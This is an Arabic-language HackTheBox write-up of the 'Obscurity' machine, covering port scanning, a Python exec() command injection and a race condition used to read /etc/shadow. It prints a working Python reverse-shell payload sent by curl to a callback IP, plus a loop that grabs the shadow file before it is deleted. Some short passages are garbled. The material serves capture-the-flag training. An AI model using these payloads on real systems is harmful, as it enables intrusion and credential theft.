HackTheBox. مرور الغموض. إدخال أمر نظام التشغيل وحالة السباق

صورة

أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .

في هذه المقالة ، نستغل الثغرة الأمنية في كود الثعبان ونقوم أيضًا بهجوم حالة السباق.

يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)

المعلومات التنظيمية
, , Telegram . , , .

. , - , .

ريكون


يحتوي هذا الجهاز على عنوان IP 10.10.10.168 ، والذي أضيفه إلى / etc / hosts.

10.10.10.168    obscurity.htb

أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

صورة

الآن ، للحصول على معلومات أكثر تفصيلاً حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.

nmap -A obscurity.htb -p22,8080

صورة

يقوم المضيف بتشغيل خدمة SSH وخادم الويب. نذهب لمشاهدة الويب.

صورة

وهكذا لدينا:

  1. خادم التسجيل
  2. يستخدم التشفير
  3. رمز الخادم في ملف SuperSecureServer.py في دليل غير معروف.

نظرًا لأننا نعرف اسم الملف ، فلنستعرض الدليل. دعونا نفعل ذلك مع wfuzz. كمعلمة ، نقوم بتمرير القاموس وعنوان URL ورمز الاستجابة ليتم تجاهله.

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

صورة

ونجد هذا الدليل. لنقم بتنزيل رمز الخادم.

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

نقطة الدخول


نفتح ونحلل الخادم. نجد استخدامًا خطيرًا محتملًا لوظيفة exec ().

صورة

دعنا نضيف بعض الأسطر إلى الرمز.

صورة

حتى نتمكن من بدء الخادم محليًا ومعرفة ما يدخل في وظيفة exec (). لنبدأ الخادم ونرسل طلبًا.

curl http://127.0.0.1:33333/asd

صورة

curl "http://127.0.0.1:33333/asd'"

صورة

curl "http://127.0.0.1:33333/asd''"

صورة

وبالتالي ، لدينا إدخال أمر OS.

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

صورة

سوف نستخدم قذيفة الثعبان العكسي التالية.

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

نظرًا لأن رمز الخادم يحتوي بالفعل على استيراد الوحدات الضرورية ، فإننا نزيل استيرادها من الغلاف. نهرب أيضًا من علامات الاقتباس والأقواس المربعة.

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

صورة

غرامة! كل شيء يعمل على الجهاز المحلي. دعنا ننفذ هذا الطلب إلى الخادم.

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

صورة

لدينا نقطة دخول.

المستعمل


نحن نبحث في الخادم ونجد ملفات قابلة للقراءة في الدليل الرئيسي للمستخدم.

صورة

نقرأ الملفات.

صورة

وبالتالي ، يتم تشفير الملفات. قم بتنزيل كل ما نقدمه للمضيف المحلي. كما هو مذكور في الرسالة ، يتم تشفير ملف check.txt ، وتكون النتيجة في out.txt. دعونا نرى الخوارزمية.

صورة

وهكذا ، أثناء التشفير ، تتم إضافة رمز النص ورمز المفتاح المعياري 255. عند فك التشفير ، يتم طرح هذه الرموز.

بمعنى ، ([check.txt] + [key])٪ 255 = out.txt و ([out.txt] - [key])٪ 255 = check.txt. ثم ([out.txt] - [check.txt])٪ 255 = المفتاح.

صورة

صورة

وإلقاء نظرة على المفتاح.

صورة

والآن على هذا المفتاح نقوم بفك تشفير كلمة مرور المستخدم.

صورة

نقوم بالاتصال عبر SSH بكلمة المرور هذه ونأخذ علامة المستخدم.

صورة

جذر


دعونا نلقي نظرة على إعدادات sudo ، أي ما إذا كان يمكن للمستخدم تنفيذ أي أوامر تحت sudo بدون كلمة مرور.

صورة

دعنا نرى الرمز. سيتطلب الرمز بيانات المصادقة. ثم ينسخ محتويات ملف / etc / shadow إلى الدليل / tmp / SSH / *. ثم سيتم التحقق من بيانات المصادقة وحذف الملف.

صورة

صورة

وبالتالي ، يجب أن نتمكن من نسخ الملف من / tmp / SSH / * قبل حذفه. تشغيل المحطة الطرفية الثانية وتنفيذ دورة قراءة لا نهاية لها فيه.

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

الآن قم بتشغيل البرنامج ، وأدخل أي بيانات وشاهد التجزئة.

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

صورة

وكسر بسهولة.

صورة

نأخذ علم الجذر.

صورة

يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.

All Articles